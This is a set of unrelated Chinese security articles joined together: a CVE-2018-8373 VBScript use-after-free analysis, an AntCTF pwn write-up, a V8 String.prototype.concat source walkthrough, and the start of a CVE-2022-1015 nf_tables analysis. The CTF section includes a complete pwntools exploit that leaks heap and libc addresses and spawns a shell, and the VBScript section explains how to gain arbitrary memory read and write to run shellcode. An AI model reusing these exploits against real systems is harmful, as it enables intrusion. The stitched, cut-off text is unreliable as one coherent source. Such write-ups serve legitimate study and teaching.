查看，更改或删除数据; 或创建具有完全用户权限的新帐户。
在基于Web的攻击情形中，攻击者能通过Internet
Explorer利用此漏洞的特定网站，然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft
Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。
2018年8月14日，微软发布了安全补丁，影响流行的大部分系统版本。
漏洞基本信息
漏洞ID： CVE-2018-8373
漏洞名称： Microsoft VBScript引擎远程执行代码漏洞
漏洞类型： 远程代码执行
威胁类型： UAF
影响系统版本： IE9 WS 2008 32/64、IE10 Windows Server2012、IE11大部分版本
## 二、 漏洞测试
系统环境 Win7 32/64
IE版本 IE10
EXP <https://github.com/B1eed/VulRec/blob/master/CVE-2018-8373>
## 三、 漏洞原理
由于样本混淆严重，部分代码见图1，这里采用简化POC进行分析，代码见图2。
图1 样本采用了严重混淆
图2 Crash Poc
Crash PoC定义了MyClass类、一个array的成员变量和两个成员函数：Class_Initialize 与Default Property
Get P。Class_Initialize
是一种被弃用的方法，现在已经被新的过程所替代。当对象初始化的时候，会被自动唤醒。在PoC中，Class_Initialize 是重载的，当调用
VBScriptClass::InitializeClass时，处理的是重载的函数。
MyClass：通过new进行创建并赋值给指定变量cls，该操作首先会触发类的创建以及初始化，创建类的函数由vbscript!VBScriptClass::Create函数完成；
创建类成功后则会调用vbscript!VBScriptClass::InitializeClass函数对class的内容进行初始化；
在vbscript!VAR::IsFunction函数中获取class指针；
随后调用class的虚函数vbscript!CScriptEntryPoint::Call 进行初始化,最终的调用栈如下：
vbscript!CScriptRunTime::RunNoEH负责对编译后的vbs代码进行解释执行。这里执行类的初始化操作，主要包含了array数组的定义以及Class_Initialize函数的执行。
vbscript中创建数组的函数为vbscript!MakeArray，如下：
ReDim array(2)：会调用vbscript!MakeArray来创建元素数是3的数组，如下图
cls.array(2)：调用vbscript!Accessarray来获取数组元素的地址。在vbscript!Accessarray
中，首先会检查数组元素的索引是否越界，然后计算元素的地址，保存到栈中。
将元素的地址保存到堆栈上，保存array(2)= 0x12ae6ff0地址到栈上
cls.array(2)=cls：调用vbscript!AssignVar来设置MyClass的默认属性值为
cls.array(2)。获取MyClass的默认属性值后，会调用Public Default Property Get P并执行Public
Default Property Get P中的ReDim array(1)，释放了原来的pvData。
ReDim Preserve
array(1)：重置array内存的操作实际通过函数RedimPreserveArray实现，最终会调用SafeArrayRedim可以看到array对象的pvData已经被修改为0x0818afe0，之前的pvData(0x12ae6fd0)的内存地址已经被释放，包括之前保存在栈上的0x12ae6ff0。
array(2)的地址仍然保存在栈中， Public Default Property Get P 的返回值会访问释放的内存，最终导致UAF漏洞。
## 四、 EXP调试分析
调试方法同Crash
PoC，跟踪分析如何将二维数组修改长度为0x0FFFFFFF，如何实现任意内存读写以及如何伪造CONTEXT结构来执行Shellcode。
漏洞定义了两个数组，array1和array2。array1就是前面PoC中描述的数组，array2是一个二维数组，其中每个元素的值都是3。然后使用脚本回调函数DefaultPropertyGet释放原来的array1.pvData，设置array2为新的array1.pvData。因为原来array1.pvData的大小和array2.SAFEARRAY结构是相同的，在内存中是0x30字节。array2.SAFEARRAY结构将重用原始array1.pvData中释放的内存。同时，DefaultPropertyGet的返回值0x0FFFFFFFF会覆盖array2.SAFEARRAY的结构SAFEARRAYBOUND，并修改二维数组的长度为0x0FFFFFFF。
修改二维数组的长度为0x0FFFFFFF
将array(index_vul)(index_a,
0)设置为“AAAA”，使下个array2的Data域就变成了8，因为string的VarType类型为8，这样就得到了一组可以混淆的
array(index_vul)(index_a+n, 0)和array(index_b)(0,
n)，通过将array(index_vul)(index_a, 0)处的variant 转化为长整型，令array(index_vul)(index_a,
0)处的variant转化为数组，从而得到了一段泄露的内存util_mem，即可读写内存指定区域。
执行rw_primit后，指定位置已被覆盖成0x200C，有了一块泄露的内存 util_mem，能够实现 32 位下用户态任意地址读写的一维数组
执行Shellcode方法与8174相同，这里不再详细分析。
在Windows7环境下能够成功利用，以弹出calc为例。
参考：<https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>
更多漏洞播报：物联网实验室
原创文章转载请注明来源：四维创智 | 社区文章 |
# 2021 AntCTF x D3CTF 狡兔三窟题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这道题比赛的时候，只有三支队伍做出来，其实只要把程序逻辑分析透彻，这道题并不是很难。所以现在放一下这道题题解。
## 程序逻辑
case 1:
NoteStorageImpl::editHouse(chunk11);
break;
case 2:
NoteStorageImpl::saveHouse(chunk11);
break;
case 3:
NoteStorageImpl::backup(chunk11);
break;
case 4:
NoteStorageImpl::encourage(chunk11);
break;
case 5:
NoteStorageImpl::delHouse(chunk11);
break;
case 6:
NoteStorageImpl::show(chunk11);
break;
提供了 6种功能，Edit可以输入数据到堆块，存储机制类似 vector，输入超出当前堆块时，会将申请更大的堆块，并将数据拷贝到新堆块，释放旧堆块；此外
Edit里有在释放第一个存储堆块后，还可以继续输入第二个存储堆块，也有一次 clear机会，可以从头重新输入数据。Save功能，会
**申请一个与当前存储数据的堆块数据内容大小的堆块** ，并将数据拷贝到新堆块，更新管理结构体。backup会将第一个存储数据的堆块的地址放入一个
0x20的堆块 偏移 0x8的位置
存储。delete功能，当执行了backup后，可以删掉第一个存储数据堆块。show只有当执行了delete功能后，才会输出第一个存储数据堆块的起始
8字节数据 指向的地址信息。
这里，还有一个 encourage功能如下，可以看到有一个很明显的后门，会调用 back_up堆块偏移 0x8数据 指向的 地址 的值。这里也就是 会调用
第一个存储数据堆块 起始 8字节数据指向的地址。
__int64 __fastcall NoteDBImpl::getEncourage(NoteDBImpl *back_chunk)
{
__int64 buf_chunk; // rax
buf_chunk = **((unsigned int **)back_chunk + 1);
if ( (_DWORD)buf_chunk )
buf_chunk = (***((__int64 (__fastcall ****)(_QWORD))back_chunk + 1))(*((_QWORD *)back_chunk + 1));
return buf_chunk;
}
然后，堆块布局如下所示。init_chunk会存储三个堆块地址，依次是 第一个存储数据结构体地址，第二个存储数据结构体地址，第三个是
bakc_up_chunk 结构体地址。 而存储数据结构体会依次存储 首地址存储 一个数据地址，后面是依次是存储数据会使用的 begin_ptr、ptr和
end_ptr指针。而 back_up_chunk在 0x8时会存储 第一个存储数据结构体地址。
init_chunk:
pwndbg> x/20xg 0x55555576de60
0x55555576de60: 0x0000000000000000 0x0000000000000021
0x55555576de70: 0x000055555576de90 0x000055555576e220 // chunk1, chunk2
chunk1:
0x55555576de80: 0x000055555576e200 0x0000000000000351 //back_up_chunk
0x55555576de90: 0x000055555575ac78 0x0000000000000000 // addr
0x55555576dea0: 0x000055555576e200 0x000055555576e200 // begin_ptr ptr
0x55555576deb0: 0x000055555576e205 0x0000000000000000 // end_ptr
chunk2:
pwndbg> x/20xg 0x55555576e210
0x55555576e210: 0x0000000000000000 0x0000000000000351
0x55555576e220: 0x000055555575ac78 0x0000000000000000 // addr
0x55555576e230: 0x000055555576e590 0x000055555576e590 // begin_ptr ptr
0x55555576e240: 0x000055555576e595 0x0000000000000000 // end_ptr
back_up:
pwndbg> x/20xg 0x55555576e200
0x55555576e1f0: 0x0000000000000000 0x0000000000000021
0x55555576e200: 0x0000000000000000 0x000055555576de90 // chunk1_addr
## 程序漏洞
程序漏洞总体上是一个 uaf漏洞。从上面功能可知，需要先 执行 back_up后，才能执行 delete和 show功能。而 back_up会存储第一个
存储数据结构体地址。当我们 delete了第一个 存储数据结构体(0x350)后，back_up_chunk中并不会将 存储的地址 赋值为
0。也就导致我们可以 通过 show函数 泄露被释放的 第一个存储数据结构体堆块(0x350) 数据。
int __fastcall NoteDBImpl::gift(NoteDBImpl *back_up_chunk)
{
int result; // eax
result = *(unsigned __int8 *)back_up_chunk;
if ( (_BYTE)result )
result = puts(*((const char **)back_up_chunk + 1));
return result;
}
而这里需要注意，如果直接释放 0x350堆块，那么该堆块的 前8字节 也即 next指针会被赋值为0，那么输出时就无输出内容。所以这里，我们需要想办法 在
0x350 tcache链中，先释放一个 0x350堆块，这样 当 delete时，第一个存储数据结构体 next处会存储堆地址。那么我们如何在
delete之前先释放 一个 0x350堆块。这里需要用到 vector机制。前文讲到 vector会自动根据输入内容 申请释放堆块。但是这里，如果我们直接
输入 0x350大小的数据，其会申请 0x500大小的堆块，而不是 0x350。是因为 vector **每次增大堆块时，会申请比之前堆块大一倍的堆块**
。这里我们的旧堆块 是 0x290，其一倍也就是 0x500。所以，我们首先需要将 vector原有堆块大小改为 0x1a0，然后扩大堆块时即会申请
0x350。而这里将原有堆块大小改为 0x1a0的方法是 通过 save功能，其会申请一个原有堆块数据大小的新堆块，并更新到
存储管理结构体。这样原有堆块即被我们改为了 0x1a0大小，再增大数据时，就改为了 0x350数据块。最后 delete时，就会释放两个 0x350堆块到
tcache中。这样我们就能成功 泄露 堆块地址。
然后，我们还要泄露 libc地址。这里首先需要注意到 第一个存储数据堆块结构体偏移 0x1b8的地方存储了 malloc的地址。那么这里只需要将这个
malloc地址输出，就能得到 libc地址了。
void __fastcall NoteImpl::NoteImpl(NoteImpl *this)
{
Note::Note(this);
*(_QWORD *)this = &off_206C78;
*((_BYTE *)this + 8) = 0;
std::vector<char>::vector((char *)this + 16);
std::vector<char>::vector((char *)this + 416);
*((_QWORD *)this + 55) = &malloc;
std::vector<char>::reserve((char *)this + 416, 5LL);
std::vector<char>::reserve((char *)this + 16, 5LL);
}
由于之前已经将 该堆块释放到 0x350的 tcache中，所以，这里我们再次 利用上面的方法 用第二个存储数据管理结构体 把该堆块申请出来，并填充
0x1b8的数据，再利用 show得到 libc地址。
最后，我们只需要利用 clear，从头将 存储结构体 块首指向 偏移 0x8的地址，并在 0x8的地址处放上 gadget地址，即可实现 getshel。
## EXP
from pwn import *
binary_name = './easycpp'
debug = 1
if debug == 1:
#p = process([filename], env={"LD_PRELOAD":"./libc-2.27.so"})
p = process(binary_name)
#libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF(binary_name)
else:
p = remote('106.14.216.214', 27807)
libc = ELF('./libc-2.27.so')
gadgets = [0x4f3d5, 0x4f432, 0x10a41c]
def Edit(ch, payload):
p.sendlineafter('>> ', str(1))
p.sendlineafter('clear it?(y/N)', ch)
p.sendlineafter('q to quit):\n', payload)
def Save():
p.sendlineafter('>> ', str(2))
def Back_up():
p.sendlineafter('>> ', str(3))
def Enc():
p.sendlineafter('>> ', str(4))
def Delete():
p.sendlineafter('>> ', str(5))
def Show():
p.sendlineafter('>> ', str(6))
payload = 'a'*0x1a0+"q"
Edit('n', payload)
gdb.attach(p, 'bp $rebase(0x141e)')
Back_up()
Save()
payload = 'a'*0x1a0+"q"
Edit('n', payload)
Delete()
Show()
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print('heap_addr:',hex(heap_addr))
payload = 'a'*0x1a0+'q'
Edit('n', payload)
Save()
print(' hajack chunk2')
payload = "a"*(0x1b8-0x1a0)+"q"
Edit('n', payload)
Show()
p.recvuntil('a'*0x1b8)
libc.address = u64(p.recv(6).ljust(8, b'\x00'))-libc.sym['malloc']
gadget = gadgets[2]+libc.address
print(hex(gadget))
payload = p64(heap_addr-0x2230+8)+p64(gadget)+"aaaq"
Edit('y', payload)
Enc()
p.interactive() | 社区文章 |
# 《Chrome V8 源码》36. String.prototype.concat 源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
字符串是 JavaScript
中的重要数据类型，其重要性不仅体现在字符串是应用最多最广泛的数据类型，更体现在V8中使用了大量的技术手段来修饰和优化字符串的操作。接下来的几篇文章将集中讲解字符串的相关操作。本文先讲解
String.prototype.concat 的源码以及相关数据结构，再通过测试用例演示 String.prototype.concat
的调用、加载和执行过程。
**注意** （1）Sea of Nodes 是本文的先导知识，请参考 Cliff 1993年发表的论文 From Quads to
Graphs。（2）本文所用环境为：V8 7.9、win10 x64、VS2019。
## 2 String.prototype.concat 源码
测试用例代码如下：
var txt1 = "he ", txt2="is ", txt3="HuiDou ", txt4=".";
var bio = txt1.concat(txt2,txt3,txt4);
console.log(bio);
concet() 是用 TF_BUILTIN 实现的，concet() 在 V8 中的函数名是 StringPrototypeConcat，编号是
888，源码如下：
1. TF_BUILTIN(StringPrototypeConcat, CodeStubAssembler) {
2. ca_.Goto(&block0, torque_arguments.frame, torque_arguments.base, torque_arguments.length, parameter0, parameter1);
3. if (block0.is_used()) {//省略..............
4. ca_.Bind(&block0, &tmp0, &tmp1, &tmp2, &tmp3, &tmp4);
5. ca_.SetSourcePosition("../../../src/builtins/string.tq", 128);
6. compiler::TNode<String> tmp5;
7. USE(tmp5);
8. tmp5 = FromConstexpr6String18ATconstexpr_string_156(state_, "String.prototype.concat");
9. compiler::TNode<String> tmp6;
10. USE(tmp6);
11. tmp6 = CodeStubAssembler(state_).ToThisString(compiler::TNode<Context>{tmp3}, compiler::TNode<Object>{tmp4}, compiler::TNode<String>{tmp5});
12. ca_.SetSourcePosition("../../../src/builtins/string.tq", 131);
13. compiler::TNode<IntPtrT> tmp7;
14. USE(tmp7);
15. tmp7 = Convert8ATintptr8ATintptr_1494(state_, compiler::TNode<IntPtrT>{tmp2});
16. ca_.SetSourcePosition("../../../src/builtins/string.tq", 132);
17. compiler::TNode<IntPtrT> tmp8;
18. USE(tmp8);
19. tmp8 = FromConstexpr8ATintptr17ATconstexpr_int31_150(state_, 0);
20. ca_.Goto(&block3, tmp0, tmp1, tmp2, tmp3, tmp4, tmp6, tmp7, tmp8);
21. }
22. if (block3.is_used()) {//省略..............
23. ca_.Bind(&block3, &tmp9, &tmp10, &tmp11, &tmp12, &tmp13, &tmp14, &tmp15, &tmp16);
24. compiler::TNode<BoolT> tmp17;
25. USE(tmp17);
26. tmp17 = CodeStubAssembler(state_).IntPtrLessThan(compiler::TNode<IntPtrT>{tmp16}, compiler::TNode<IntPtrT>{tmp15});
27. ca_.Branch(tmp17, &block1, &block2, tmp9, tmp10, tmp11, tmp12, tmp13, tmp14, tmp15, tmp16);
28. }
29. if (block1.is_used()) {//省略..............
30. ca_.Bind(&block1, &tmp18, &tmp19, &tmp20, &tmp21, &tmp22, &tmp23, &tmp24, &tmp25);
31. ca_.SetSourcePosition("../../../src/builtins/string.tq", 133);
32. compiler::TNode<Object> tmp26;
33. USE(tmp26);
34. tmp26 = CodeStubAssembler(state_).GetArgumentValue(TorqueStructArguments{compiler::TNode<RawPtrT>{tmp18}, compiler::TNode<RawPtrT>{tmp19}, compiler::TNode<IntPtrT>{tmp20}}, compiler::TNode<IntPtrT>{tmp25});
35. compiler::TNode<String> tmp27;
36. USE(tmp27);
37. tmp27 = CodeStubAssembler(state_).ToString_Inline(compiler::TNode<Context>{tmp21}, compiler::TNode<Object>{tmp26});
38. ca_.SetSourcePosition("../../../src/builtins/string.tq", 134);
39. compiler::TNode<String> tmp28;
40. USE(tmp28);
41. tmp28 = StringAdd_82(state_, compiler::TNode<Context>{tmp21}, compiler::TNode<String>{tmp23}, compiler::TNode<String>{tmp27});
42. ca_.SetSourcePosition("../../../src/builtins/string.tq", 132);
43. ca_.Goto(&block4, tmp18, tmp19, tmp20, tmp21, tmp22, tmp28, tmp24, tmp25);
44. }
45. if (block4.is_used()) {//省略..............
46. ca_.Bind(&block4, &tmp29, &tmp30, &tmp31, &tmp32, &tmp33, &tmp34, &tmp35, &tmp36);
47. compiler::TNode<IntPtrT> tmp37;
48. USE(tmp37);
49. tmp37 = FromConstexpr8ATintptr17ATconstexpr_int31_150(state_, 1);
50. compiler::TNode<IntPtrT> tmp38;
51. USE(tmp38);
52. tmp38 = CodeStubAssembler(state_).IntPtrAdd(compiler::TNode<IntPtrT>{tmp36}, compiler::TNode<IntPtrT>{tmp37});
53. ca_.Goto(&block3, tmp29, tmp30, tmp31, tmp32, tmp33, tmp34, tmp35, tmp38);
54. }
55. if (block2.is_used()) {//省略..............
56. ca_.Bind(&block2, &tmp39, &tmp40, &tmp41, &tmp42, &tmp43, &tmp44, &tmp45, &tmp46);
57. ca_.SetSourcePosition("../../../src/builtins/string.tq", 136);
58. arguments.PopAndReturn(tmp44);
59. }
60. }
上述代码中定义了四个 block（block0-block4），它们的作用是：
block0 创建三个变量：初始字符串 tmp6（即测试用例中的“he”）、拼接总数 tmp7（测试用例中的数量为 3）和完成拼接的数量 tmp8（初始值为
0）；
block1 把两个字符串拼接在一起生成一个新字符串；
block2 返回最终结果；
block3 判断完成拼接的数量是否小于拼接总数，如果小于跳转到 block1，如果不小于跳转到 blcok2；
block4 把完成拼接的数量加 1。
从这些 block 在代码中的分布位置可以看出，他们使用 while 循环方式实现了字符串的拼接。图 1 给出了 StringPrototypeConcat
源码的位置。
下面说明 StringPrototypeConcat 用到的重要函数：
**（1）** ToThisString（第 11 行代码）的作用是把对象转换成字符串，源码如下：
1. TNode<String> CodeStubAssembler::ToThisString(/*省略*/) {
2. BIND(&if_valueisnotsmi);//省略....
3. { TNode<Uint16T> value_instance_type = LoadInstanceType(CAST(value));
4. Label if_valueisnotstring(this, Label::kDeferred);
5. Branch(IsStringInstanceType(value_instance_type), &if_valueisstring,
6. &if_valueisnotstring);
7. BIND(&if_valueisnotstring);
8. { Label if_valueisnullorundefined(this, Label::kDeferred);
9. GotoIf(IsNullOrUndefined(value), &if_valueisnullorundefined);
10. var_value.Bind(CallBuiltin(Builtins::kToString, context, value));
11. Goto(&if_valueisstring);
12. BIND(&if_valueisnullorundefined);
13. {ThrowTypeError(context, MessageTemplate::kCalledOnNullOrUndefined,
14. method_name);}
15. }
16. }
17. BIND(&if_valueissmi);
18. {var_value.Bind(CallBuiltin(Builtins::kNumberToString, context, value));
19. Goto(&if_valueisstring); }
20. BIND(&if_valueisstring);
21. return CAST(var_value.value());
上述代码中第 2-16 行用于把非 small integer 数据转换成字符串，非 small integer
可以是数组、浮点数等。其中转换操作的具体功能由第 10 行的 kToString 实现；第 17-19 行用于把 small integer
数据转换成字符串，转换操作的具体功能由第 18 行的 kNumberToString 实现。后续文章会单独讲解 kToString 和
kNumberToString 方法。
**（2）** IntPtrAdd（第 52 行）实现整型数据的加法，源码如下：
1. TNode<WordT> CodeAssembler::IntPtrAdd(SloppyTNode<WordT> left,
2. SloppyTNode<WordT> right) {
3. intptr_t left_constant;
4. bool is_left_constant = ToIntPtrConstant(left, &left_constant);
5. intptr_t right_constant;
6. bool is_right_constant = ToIntPtrConstant(right, &right_constant);
7. if (is_left_constant) {
8. if (is_right_constant) {
9. return IntPtrConstant(left_constant + right_constant);}
10. if (left_constant == 0) { return right;}
11. } else if (is_right_constant) {
12. if (right_constant == 0) {return left;}
13. }
14. return UncheckedCast<WordT>(raw_assembler()->IntPtrAdd(left, right));}
上述代码中第 7-13 行用于常量的加法运算，其中第 7-8 行判断加法的左右值，如果都为常量则直接计算结果（第 9 行）；第 10
行代码判断左值，如果为零则直接返回右值；第 14 行代码表示当左、右值均为变量时，则需要添加计算节点。
**（3）** StringAdd_82（第 41 行）中调用 Builtins::kStringAdd_CheckNone 方法，该方法使用
CodeStubAssembler::StringAdd 完成字符串的加法运算，StringAdd 的源码如下：
1. TNode<String> CodeStubAssembler::StringAdd(Node* context, TNode<String> left,
2. TNode<String> right) {
3. TNode<Uint32T> left_length = LoadStringLengthAsWord32(left);
4. GotoIfNot(Word32Equal(left_length, Uint32Constant(0)), &check_right);
5. result = right;
6. Goto(&done_native);
7. BIND(&check_right);
8. TNode<Uint32T> right_length = LoadStringLengthAsWord32(right);
9. GotoIfNot(Word32Equal(right_length, Uint32Constant(0)), &cons);
10. result = left;
11. Goto(&done_native);
12. BIND(&cons);
13. {
14. TNode<Uint32T> new_length = Uint32Add(left_length, right_length);
15. GotoIf(Uint32GreaterThan(new_length, Uint32Constant(String::kMaxLength)),
16. &runtime);
17. TVARIABLE(String, var_left, left);
18. TVARIABLE(String, var_right, right);
19. Variable* input_vars[2] = {&var_left, &var_right};
20. Label non_cons(this, 2, input_vars);
21. Label slow(this, Label::kDeferred);
22. GotoIf(Uint32LessThan(new_length, Uint32Constant(ConsString::kMinLength)),
23. &non_cons);
24. result =AllocateConsString(new_length, var_left.value(), var_right.value());
25. Goto(&done_native);
26. BIND(&non_cons);
27. TNode<Int32T> left_instance_type = LoadInstanceType(var_left.value());
28. TNode<Int32T> right_instance_type = LoadInstanceType(var_right.value());
29. TNode<Int32T> ored_instance_types =
30. Word32Or(left_instance_type, right_instance_type);
31. TNode<Word32T> xored_instance_types =
32. Word32Xor(left_instance_type, right_instance_type);
33. GotoIf(IsSetWord32(xored_instance_types, kStringEncodingMask), &runtime);
34. GotoIf(IsSetWord32(ored_instance_types, kStringRepresentationMask), &slow);
35. TNode<IntPtrT> word_left_length = Signed(ChangeUint32ToWord(left_length));
36. TNode<IntPtrT> word_right_length = Signed(ChangeUint32ToWord(right_length));
37. Label two_byte(this);
38. GotoIf(Word32Equal(Word32And(ored_instance_types,
39. Int32Constant(kStringEncodingMask)),
40. Int32Constant(kTwoByteStringTag)),&two_byte);
41. result = AllocateSeqOneByteString(new_length);
42. CopyStringCharacters(/*拷贝左字符串*/);
43. CopyStringCharacters(/*拷贝右字符串*/);
44. Goto(&done_native);
45. BIND(&two_byte);
46. {
47. result = AllocateSeqTwoByteString(new_length);
48. CopyStringCharacters(/*拷贝左字符串*/);
49. CopyStringCharacters(/*拷贝右字符串*/);
50. Goto(&done_native); }
51. BIND(&slow);
52. {
53. MaybeDerefIndirectStrings(&var_left, left_instance_type, &var_right,
54. right_instance_type, &non_cons);
55. Goto(&runtime);}}
56. BIND(&runtime);
57. {//省略.....
58. Goto(&done); }
59. BIND(&done_native);
60. { Goto(&done); }
61. BIND(&done);
62. return result.value();}
上述代码中，第 3-6 行代码判断左值长度是否为零，如果为零则直接返回右值；
第 7-11 行代码判断右值长度是否为零，如果为零则直接返回左值；
第 14-15 行代码判断新字符串的长度是否大于 V8 规定的字符串的最大长度，如果大于则使用 runtime 方式处理；
第 22 行代码判断新字符串的长度是否小于 V8 规定的字符串的最小长度，如果小于则使用 slow 或 runtime 方式处理；
第 27-34 行代码判断左、右值的编码是否一致且是否都为 sequential string，如是结果为真则执行第 35-50 行代码；
第 35-50 行代码根据单、双字节的不同，采用不同的方式创建并返回新的字符串，函数执行完毕；
第 51-58 行代码采用 slow 和 runtime 方式处理字符串。
图 2 给出了 StringAdd() 的调用堆栈。
## 3.String.prototype.concat 测试
测试用例的字节码如下：
1. //省略........
2. 11 S> 000001332DAC2C86 @ 16 : 12 01 LdaConstant [1]
3. 11 E> 000001332DAC2C88 @ 18 : 15 02 0a StaGlobal [2], [10]
4. //省略........
5. 64 S> 000001332DAC2C9A @ 36 : 13 02 00 LdaGlobal [2], [0]
6. 000001332DAC2C9D @ 39 : 26 f9 Star r2
7. 69 E> 000001332DAC2C9F @ 41 : 29 f9 09 LdaNamedPropertyNoFeedback r2, [9]
8. //省略........
9. 69 E> 000001332DAC2CB3 @ 61 : 5f fa f9 04 CallNoFeedback r1, r2-r5
10. //省略........
11. Constant pool (size = 13)
12. 000001332DAC2BC9: [FixedArray] in OldSpace
13. - map: 0x00df20ec0169 <Map>
14. - length: 13
15. 0: 0x01332dac2b09 <FixedArray[20]>
16. 1: 0x01332dac29d9 <String[#3]: he >
17. 2: 0x01332dac29c1 <String[#4]: txt1>
18. 3: 0x01332dac2a09 <String[#3]: is >
19. 4: 0x01332dac29f1 <String[#4]: txt2>
20. 5: 0x01332dac2a39 <String[#7]: HuiDou >
21. 6: 0x01332dac2a21 <String[#4]: txt3>
22. 7: 0x00df20ec4369 <String[#1]: .>
23. 8: 0x01332dac2a51 <String[#4]: txt4>
24. 9: 0x037ebea28b49 <String[#6]: concat>
25. 10: 0x01332dac2a69 <String[#3]: bio>
26. 11: 0x037ebea336f1 <String[#7]: console>
27. 12: 0x037ebea32d31 <String[#3]: log>
上述代码中，第 2-3 行加载并存储字符串 “he”；第 5-6 行把字符串 “he” 保存到 r2 寄存器中； 第 7 行加载 concat 方法；第 9
行调用 concat 方法，r1 寄存器的值是 concat 的地址，r2-r5 依次是 “he ”、“is ”、“HuiDou ” 和
“.”。debug测试方法：从 CallNoFeedback 开始进行汇编跟踪，如图 3 所示。
**技术总结**
**（1）** 拼接前要判断左、右字符串的类型、编码以及单双字节是否一致；
**（2）** 拼接采用循环方式对字符串两两拼接；
**（3）** 字符串的最大长度是 String::kMaxLength（1073741799）。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# CVE-2022-1015 nf_tables 提权漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
author: 莫兴远 of [IceSword Lab](https://www.iceswordlab.com/about/)
## 一、简介
CVE-2022-1015 是 Linux 内核 nf_tables 模块的一个漏洞，其成因为没有合理限制整数范围导致栈越界读写。
受该漏洞影响的内核版本范围为 5.12 ~ 5.16 。
该漏洞为此
[commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e1acfa387b9ff82cfc7db8cc3b6959221a95851)
所修复。
## 二、漏洞相关知识
Netfilter 是 Linux
内核一个非常庞大的子系统，它在内核的网络栈中置入多个钩子，并允许其他模块在这些钩子处注册回调函数，当内核执行到钩子处时，所有被注册的回调函数都会被执行。
nf_tables 则是隶属于 Netfilter 子系统的一个模块，它在 Netfitler
的某些钩子处注册了回调函数，以提供网络数据包过滤功能，通常被用于实现防火墙等功能。本文所分析的漏洞就位于 nf_tables 模块中。
在用户态与 nf_tables 交互则是通过 netlink。netlink 是常见的用户态与内核态进行交互的手段，它通过向 AF_NETLINK 类型的
socket 发送数据向内核传递信息，类似地，还可通过从该类型 socket 接收数据以获取内核传递回来的信息。
### 2.1 nf_tables实现
nf_tables 允许用户向其注册处理网络数据包的 rule，以决定针对不同类型的数据包该采取哪种行动。多条 rule 被组织在一条 chain 中，多条
chain 则被组织在一个 table 中。不同类型的 chain 会与不同的 Netfilter hook 绑定在一起。当网络数据包到达后，经过内核不同的
hook 时，所有绑定在该 hook 处的 chain 都会被执行，以完成对数据包的处理。在这里，chain 的执行是指其中所有的 rule
被依次执行，rule 的执行则又是指数据包会根据其中拟定的规则确定被采取什么行动，是丢弃、拒绝还是接受。
向 nf_tables 注册 rule 的方式是通过 netlink。由于通过 netlink
向内核发送的数据包过于底层，用户使用起来不方便，开发者提供了用户态工具 nft，方便用户通过更高级的语法拟定规则。
**2.1.1 rule**
rule 包含如何处理数据包的逻辑，比如检查数据包的协议、源地址、目标地址、端口等，以分别采取不同的行动。每条 rule 都和一个 verdict
绑定，即每条 rule 都有一个默认的裁定，决定对数据包采取何种行为，是丢弃、拒绝还是接受。举个例子：
udp dport 50001 drop
drop 就是该 rule 的 verdict，表示所有目标端口为 50001 的 udp 数据包都会被丢弃。
**2.1.2 chain**
chain 是将 rule 组织起来的结构，一条 chain 可包含多条 rule。chain 分为 base chain 和 non-base
chain，base chain 是直接绑定到 Netfilter hook 上面的，执行流只会从 base chain 开始。chain 中的 rule
一般都是依次执行完，有时候某条 rule 的 verdict 会让执行流跳转到其他的 chain，从而越过该 chain 中剩下的 rule，但只能跳转到
non-base chain。跳转分两种，一种是跳转后到某条 chain 后就不可以返回了，另一种则是跳转后还可以返回继续执行原来的 chain 剩下的
rule。
**2.1.3 table**
table 是 nf_tables 最顶层的结构，它包含多条 chain。chain 只能跳转到同一 table 中的其他 chain。
每个 table 都会从属于某个族，族决定了该 table 会处理哪些种类的数据包。族包括 ip、 ip6、 inet、 arp、 bridge 和
netdev。
属于 ip 族的 table 只负责处理 IPv4 数据包，属于 ip6 族的 table 只负责处理 IPv6 数据包，属于 inet 族的 table
则既可处理 IPv4 又可处理 IPv6 数据包。
**2.1.4 expression**
事实上，rule 在层次结构上还可以细分为多个 expression，expression 相当于一条条应用在数据包上的具体指令。用户态工具一般不会涉及到
expression 这个抽象表示，只有内核代码会涉及到。
对于 udp dport 50001 drop 这个规则，需要先通过一个 expression 检查协议是不是 udp，再通过一个 expression
检查端口是不是 50001，如果前面的 expression 都通过了，最后再通过一个 expression 将 verdict 设置为
drop，以将数据包丢弃。
每种 expression 会和一个 struct nft_expr_ops 实例绑定，比如 immediate 这个 expression：
static const struct nft_expr_ops nft_imm_ops = {
.type = &nft_imm_type, // expression 类型
.size = NFT_EXPR_SIZE(sizeof(struct nft_immediate_expr)),
.eval = nft_immediate_eval, // 当 expression 被执行时调用
.init = nft_immediate_init, // 当 expression 被初始化时调用
.activate = nft_immediate_activate,
.deactivate = nft_immediate_deactivate,
.destroy = nft_immediate_destroy,
.dump = nft_immediate_dump,
.validate = nft_immediate_validate,
.reduce = nft_immediate_reduce,
.offload = nft_immediate_offload,
.offload_action = nft_immediate_offload_action,
};
每次当一条 rule 被添加进来，其所有 expression 的 init 函数都会被调用。
当某个 expression 被执行时，其 eval 函数会被调用。
**2.1.5 register**
expression 在操作数据包时，需要内存来记录一些数据，这部分内存就是 register。在内核的实现中，所有 register
都在栈上，且在内存地址上是连续的。
expression 可以读取或修改 register 的数据，单次访问的对象既可以是单个 register，也可以是连续的多个 register，因此
register 可以看做是一块连续的缓冲区。
register 可通过 index 索引，以下是内核中定义的 register 的 index：
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
...
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};
